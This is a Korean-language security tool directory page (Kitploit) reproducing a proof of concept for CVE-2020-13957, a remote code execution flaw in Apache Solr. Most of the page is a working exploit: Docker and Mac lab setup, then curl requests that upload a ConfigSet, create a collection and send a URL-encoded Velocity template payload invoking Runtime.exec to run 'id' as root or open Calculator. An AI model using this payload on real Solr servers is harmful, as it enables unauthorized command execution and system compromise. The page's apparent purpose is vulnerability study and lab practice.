Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-13957 — Apache Solr RCE CVE-2020-13957 | Kitploit
도구/GitHubGitHub/s-index/cve-2020-13957
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubs-index/cve-2020-13957

CVE-2020-13957

Apache Solr RCE CVE-2020-13957

저장소 보기
1135년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Apache Solr RCE CVE-2020-13957

Docker 데모

docker-demo

Mac 데모

mac-demo

NVD CVE-2020-13957 설명

NVD CVE-2020-13957

root@kitploit:~
Apache Solr 6.6.0~6.6.6, 7.0.0~7.7.3, 8.0.0~8.6.2 버전은 인증/권한 부여 없이 API를 통해 업로드되는 ConfigSet에서 원격 코드 실행에 사용될 수 있는 일부 위험한 기능의 구성을 차단합니다. 이러한 기능을 방지하기 위한 검사는 UPLOAD/CREATE 액션을 조합하여 우회할 수 있습니다.

Docker

PoC 환경 설정

1. Dockerfile에서 이미지 빌드

root@kitploit:~
$ docker build -t cve-2020-13957 .

2. 새 컨테이너에서 /bin/bash 실행

root@kitploit:~
$ docker run --rm -p 8983:8983 --name cve-2020-13957 -it cve-2020-13957 /bin/bash

3. 컨테이너에서 Apache Solr Cloud 시작

root@kitploit:~
도구 다운로드
$ ./solr start -e cloud -noprompt -force

익스플로잇

1. ConfigSet 업로드

Apache Solr 가이드 ConfigSet 업로드

root@kitploit:~
$ curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=myConfigSet"

2. 컬렉션 생성

Apache Solr 가이드 컬렉션 생성

root@kitploit:~
$ curl "http://localhost:8983/solr/admin/collections?action=CREATE&name=newCollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myConfigSet"

3. id 명령 실행

root@kitploit:~
$ curl "http://localhost:8983/solr/newCollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x%3d%27%27)+%23set(%24rt%3d%24x.class.forName(%27java.lang.Runtime%27))+%23set(%24chr%3d%24x.class.forName(%27java.lang.Character%27))+%23set(%24str%3d%24x.class.forName(%27java.lang.String%27))+%23set(%24ex%3d%24rt.getRuntime().exec(%27id%27))+%24ex.waitFor()+%23set(%24out%3d%24ex.getInputStream())+%23foreach(%24i+in+%5b1..%24out.available()%5d)%24str.valueOf(%24chr.toChars(%24out.read()))%23end"

출력

root@kitploit:~
     0  uid=0(root) gid=0(root) groups=0(root)

Mac

PoC 환경 설정

1. Apache Solr 다운로드

root@kitploit:~
$ curl -OL https://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.tgz

2. 압축 해제

root@kitploit:~
$ tar -xzvf solr-8.2.0.tgz

3. Apache Solr Cloud 시작

root@kitploit:~
$ solr-8.2.0/bin/solr start -e cloud -noprompt -force

익스플로잇

1. ConfigSet 업로드

Apache Solr 가이드 ConfigSet 업로드

root@kitploit:~
$ curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=myConfigSet"

2. 컬렉션 생성

Apache Solr 가이드 컬렉션 생성

root@kitploit:~
$ curl "http://localhost:8983/solr/admin/collections?action=CREATE&name=newCollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myConfigSet"

3. 계산기 열기

root@kitploit:~
$ curl "http://localhost:8983/solr/newCollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x%3d%27%27)+%23set(%24rt%3d%24x.class.forName(%27java.lang.Runtime%27))+%23set(%24chr%3d%24x.class.forName(%27java.lang.Character%27))+%23set(%24str%3d%24x.class.forName(%27java.lang.String%27))+%23set(%24ex%3d%24rt.getRuntime().exec(%27open+-a+calculator%27))+%24ex.waitFor()+%23set(%24out%3d%24ex.getInputStream())+%23foreach(%24i+in+%5b1..%24out.available()%5d)%24str.valueOf(%24chr.toChars(%24out.read()))%23end"

참조

  • https://github.com/Imanfeng/Apache-Solr-RCE#cve-2020-13957